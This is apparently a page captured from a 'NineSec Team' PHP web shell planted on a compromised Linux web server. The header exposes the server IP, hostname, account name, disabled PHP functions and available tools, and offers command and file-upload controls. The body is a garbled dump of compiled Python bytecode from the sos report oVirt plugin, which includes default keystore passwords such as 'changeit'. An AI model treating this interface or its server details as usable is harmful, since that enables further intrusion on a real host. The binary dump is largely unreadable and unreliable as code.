NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/ovirt.cpython-36.pyc
3

~�g�%�@sNddlZddlZddlZddlmZmZmZddlmZGdd�dee�Z	dS)�N)�Plugin�RedHatPlugin�	PluginOpt)�
is_executablec
@sheZdZdZdZdZd Zejej	dd�Z
dZedddd�ededd�edddd�gZ
dd�Zdd�ZdS)!�OvirtzoVirt EngineZovirt�virt�ovirt-engine�ovirt-engine-dwh�ovirt-engine-reports�ovirt-engine-metrics�ovirt-engine-setup�ovirt-vmconsole�ovirt-scheduler-proxy�rhevm�	rhevm-dwh�
rhevm-reportsz}^/etc/
        (rhevm|ovirt-engine|ovirt-engine-dwh)/
        (engine.conf|ovirt-engine-dwhd.conf)
        (\.d/.+.conf.*?)?$)�flags�patternzcENGINE_DB_PASSWORD:ENGINE_PKI_TRUST_STORE_PASSWORD:ENGINE_PKI_ENGINE_STORE_PASSWORD:DWH_DB_PASSWORD�
jbosstraceTz0Enable oVirt Engine JBoss stack trace collection)�defaultZdesczsensitive-keysz.Sensitive keys to be masked in post-processing�heapdumpFz3Collect heap dumps from /var/log/ovirt-engine/dump/cs�|jd�r�|jd�r�d}d|�d�}|j|�}dd�|dj�D�}|s^|jjd	�|jd	�xF|D]>}ytj|t	j
�Wqdtk
r�|jjd
|���YqdXqdW|jddg�|jd
�s�|jd�|j
d�ddddddddg}dDdEg}|jddg�|jdd�|D��|jdd�|D��d }d!}	d"�t|��rJ|j|�d#��t|	��rd|j|	�d$��td"��r�d%d&d'g}
|j�fd(d�|
D��|jd)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9dd:d;d<g�|jd=d>d?d@��|jdAdBg�|jdCdg�dS)FNrzovirt-enginez)^ovirt-engine\ -server.*jboss-modules.jarz
pgrep -f '�'cSsg|]}t|��qS�)�int)�.0�xrr�/usr/lib/python3.6/ovirt.py�
<listcomp>GszOvirt.setup.<locals>.<listcomp>�outputzUnable to get ovirt-engine pidzUnable to send signal to z/etc/ovirt-engine/.pgpassz/etc/rhevm/.pgpassrz/var/log/ovirt-engine/dumpz/var/log/ovirt-engine/dump/z/etc/pki/ovirt-engine/ca.pemz#/etc/pki/ovirt-engine/apache-ca.pemz&/etc/pki/ovirt-engine/certs/engine.cerz&/etc/pki/ovirt-engine/certs/apache.cerz//etc/pki/ovirt-engine/certs/websocket-proxy.cerz%/etc/pki/ovirt-engine/certs/jboss.cerz-/etc/pki/ovirt-engine/certs/imageio-proxy.cerz2/etc/pki/ovirt-engine/certs/ovirt-provider-ovn.cer�mypass�!/etc/pki/ovirt-engine/.truststore�changeit�)/var/lib/ovirt-engine/external_truststorezengine-config --allzengine-config -dcSsg|]}d|�d��qS)zopenssl x509 -in z
 -text -nooutr)r�crrrrtscSs g|]\}}d|�d|���qS)zkeytool -list -storepass z -rfc -keystore r)r�pr#rrrryszengine-manage-domainszovirt-engine-extensions-toolzovirt-aaa-jdbc-toolz listz info list-extensionszquery --what=userzquery --what=groupz
settings showcsg|]}��d|���qS)� r)rZsc)�	jdbc_toolrrr�sz/etc/ovirt-enginez/etc/rhevm/z/etc/ovirt-engine-dwhz/etc/ovirt-engine-reportsz/etc/ovirt-engine-metricsz/etc/ovirt-engine-setupz/etc/ovirt-vmconsolez/var/log/ovirt-enginez/var/log/ovirt-engine-dwhz/var/log/ovirt-engine-reportsz/var/log/ovirt-scheduler-proxyz/var/log/rhevmz/etc/sysconfig/ovirt-enginez/usr/share/ovirt-engine/confz/var/log/ovirt-guest-agentz'/var/lib/ovirt-engine/setup-history.txtz#/var/lib/ovirt-engine/setup/answersz/var/tmp/ovirt-engine/configz*/var/lib/ovirt-engine/jboss_runtime/configz2/var/lib/ovirt-engine-reports/jboss_runtime/configZovirt_engine_confdZovirt_engine_boot_logZovirt_engine_console_log)z"/etc/ovirt-engine/engine.conf.d/.*z/var/log/ovirt-engine/boot.logz!/var/log/ovirt-engine/console.logz/etc/pki/ovirt-engine/keysz/etc/pki/ovirt-engine/privatez/etc/pki/ovirt-engine/)rr )r!r")�
get_optionZis_installedZexec_cmd�
splitlinesZsoslog�errorZ	add_alert�os�kill�signal�SIGQUIT�OSErrorZadd_forbidden_pathZadd_dir_listingZadd_cmd_outputrZ
add_copy_specZ
add_file_tags)�selfZengine_patternZpgrep�resZengine_pids�pidZcertificatesZ	keystoresZmanage_domainsZextensions_toolZsubcmdsr)r&r�setupBs�










zOvirt.setupc
Cs(xd+D]}|j|dd�qWd,}x |D]}|jd
|��dd�q&W|jd
dd�dddg}x&|D]}|jd|�}|j|dd�q`W|j}|jd�}|r�|dk	r�|}dd�|jd�D�}	|j|jddj|	��d�d�x"d-D]}
|jdd|
�d �d!�q�Wd"d#d$d%g}d&dj|��d'�}|jd(|d)�d*S).z+
        Obfuscate sensitive keys.
        �8/etc/ovirt-engine/engine-config/engine-config.properties�//etc/rhevm/rhevm-config/rhevm-config.propertiesz(Password.type)=(.*)z\1=********�ovirt-engine.xml�0ovirt-engine_history/current/ovirt-engine.v1.xml�*ovirt-engine_history/ovirt-engine.boot.xml�-ovirt-engine_history/ovirt-engine.initial.xml�*ovirt-engine_history/ovirt-engine.last.xmlz/var/tmp/ovirt-engine/config/z(<password>)(.*)(</password>)z\1********\3z*/etc/ovirt-engine/redhatsupportplugin.confz(proxyPassword)=(.*)zlogcollector.confzimageuploader.confzisouploader.confz/etc/ovirt-enginez(passwd|pg-pass)=(.*)zsensitive-keysTcSsg|]}|r|�qSrr)rrrrrr�sz"Ovirt.postproc.<locals>.<listcomp>�:�(�|z)=(.*)�password�OVESETUP_CONFIG_ADMIN_SETUPz&/var/lib/ovirt-engine/setup/answers/.*z
(?P<key>[^=]*z	[^=]*)=.*z\g<key>=********z
vars.passwordz!pool.default.auth.simple.passwordz$pool.default.ssl.truststore.passwordzconfig.datasource.dbpasswordz(^\s*#*(z
)\s*=\s*)(.*)z$/etc/ovirt-engine/aaa/.*\.propertiesz\1*********N)r3r4)r5r6r7r8r9)r=r>)Zdo_file_subZ	path_join�DEFAULT_SENSITIVE_KEYSr'�splitZdo_path_regex_sub�
DB_PASS_FILES�join)
r/ZproZengine_files�filenameZpasswd_filesZ	conf_fileZ	conf_pathZsensitive_keysZkeys_optZkey_list�itemZprotect_keysZregexprrr�postproc�sh







zOvirt.postprocN)r)
rr	r
rrr
rrrr)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackages�re�compile�VERBOSErAr?rZoption_listr2rErrrrrs2
yr)
r*rIr,Zsos.report.pluginsrrrZ
sos.utilitiesrrrrrr�<module>s


NineSec Team - 2022